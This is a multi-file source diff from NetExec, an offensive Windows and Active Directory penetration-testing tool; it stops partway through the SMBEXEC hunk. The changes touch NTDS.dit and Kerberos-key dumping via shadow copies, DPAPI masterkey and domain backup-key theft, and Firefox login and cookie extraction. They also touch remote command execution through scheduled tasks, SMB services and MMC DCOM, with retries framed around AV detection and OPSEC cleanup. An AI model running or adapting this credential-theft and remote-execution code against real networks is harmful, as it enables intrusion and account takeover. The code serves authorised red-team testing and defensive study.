||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
@@ -2491,21 +2613,20 @@ class smb(connection):
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
if self.args.ntds == "vss":
|
||||
use_vss_method = True
|
||||
is_remote = False
|
||||
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
|
||||
os.makedirs(output_folder, exist_ok=True)
|
||||
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
|
||||
localOps = LocalOperations(system_path)
|
||||
self.bootkey = localOps.getBootKey()
|
||||
if self.remote_ops:
|
||||
try:
|
||||
if self.args.ntds == "vss":
|
||||
NTDSFileName = self.remote_ops.saveNTDS()
|
||||
use_vss_method = True
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
self.output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
NTDSFileName,
|
||||
self.bootkey,
|
||||
isRemote=is_remote,
|
||||
isRemote=True,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
remoteOps=self.remote_ops,
|
||||
@@ -2516,27 +2637,18 @@ class smb(connection):
|
||||
outputFileName=self.output_filename,
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
trustKeys=self.args.trust_keys,
|
||||
justTrustKeys=self.args.just_trust_keys,
|
||||
domainFQDN=self.targetDomain,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
|
||||
)
|
||||
|
||||
try:
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
|
||||
else:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{self.output_filename}.ntds"
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
|
||||
else:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
|
||||
+50
-19
@@ -10,7 +10,6 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
@@ -163,30 +162,62 @@ class TSCH_EXEC:
|
||||
except tsch.DCERPCSessionError as e:
|
||||
self.logger.debug(f"hSchRpcRun returned: {e}")
|
||||
|
||||
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
|
||||
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
|
||||
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
|
||||
RUN_TIMEOUT = 30
|
||||
RUN_CHECK_DELAY = 2
|
||||
last_error = None
|
||||
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
try:
|
||||
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
|
||||
break # the task has run
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
|
||||
except tsch.DCERPCSessionError as e:
|
||||
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
|
||||
sleep(RUN_CHECK_DELAY)
|
||||
else:
|
||||
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
|
||||
if e.error_code == 0x00041303:
|
||||
sleep(2)
|
||||
continue
|
||||
self.logger.fail(f"Error retrieving task last run info: {e}")
|
||||
break
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{self.task_name}")
|
||||
try:
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
|
||||
if self.__retOutput:
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
dce.disconnect()
|
||||
@@ -3,7 +3,7 @@ import threading
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
SAWarning
|
||||
@@ -428,20 +428,6 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -739,13 +725,13 @@ class database(BaseDB):
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
Check if this group ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if context.password != "":
|
||||
plaintexts[context.username.lower()] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username.lower()] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -1,53 +0,0 @@
|
||||
from time import monotonic, sleep
|
||||
|
||||
|
||||
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
|
||||
"""Read the output file of an executed command, then delete it.
|
||||
|
||||
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
|
||||
(these quick reads don't count against --get-output-tries), then every 1s.
|
||||
"""
|
||||
path = f"{share}\\" + filename.lstrip("\\")
|
||||
quick_until = monotonic() + 0.4
|
||||
sleep(first_read_delay)
|
||||
attempt = 1
|
||||
while True:
|
||||
try:
|
||||
logger.info(f"Attempting to read {path}")
|
||||
conn.getFile(share, filename, callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
|
||||
sleep(0.1)
|
||||
elif attempt >= tries:
|
||||
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
|
||||
attempt += 10
|
||||
sleep(1)
|
||||
else:
|
||||
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
logger.debug(f"Deleting file {path}")
|
||||
conn.deleteFile(share, filename)
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.debug(f"No output file {path} to delete")
|
||||
else:
|
||||
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
|
||||
@@ -11,8 +11,9 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.network import DPLootConnection
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -60,7 +61,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -68,13 +69,16 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.conn.list_users()
|
||||
users = self.get_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -85,18 +89,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -248,6 +252,17 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -27,10 +27,9 @@
|
||||
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
from impacket.dcerpc.v5.dcom.oaut import (
|
||||
IID_IDispatch,
|
||||
@@ -109,7 +108,7 @@ class MMCEXEC:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
@@ -251,4 +250,41 @@ class MMCEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
@@ -1,4 +1,4 @@
|
||||
from argparse import BooleanOptionalAction, _StoreTrueAction
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
|
||||
|
||||
|
||||
@@ -11,7 +11,6 @@ def proto_args(parser, parents):
|
||||
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
|
||||
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
|
||||
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
@@ -24,7 +23,7 @@ def proto_args(parser, parents):
|
||||
smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
|
||||
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
|
||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
|
||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
|
||||
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
|
||||
smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
|
||||
@@ -43,12 +42,8 @@ def proto_args(parser, parents):
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
|
||||
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
|
||||
trust_keys_arg.make_required = [ntds_arg]
|
||||
just_trust_keys_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
@@ -96,9 +91,6 @@ def proto_args(parser, parents):
|
||||
files_group = smb_parser.add_argument_group("File Operations")
|
||||
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
|
||||
files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
|
||||
files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cmd_exec_group = smb_parser.add_argument_group("Command Execution")
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class SMBEXEC:
|
||||
@@ -97,8 +97,42 @@ class SMBEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
# The service start returns once the command is done, so the file can be read right away
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
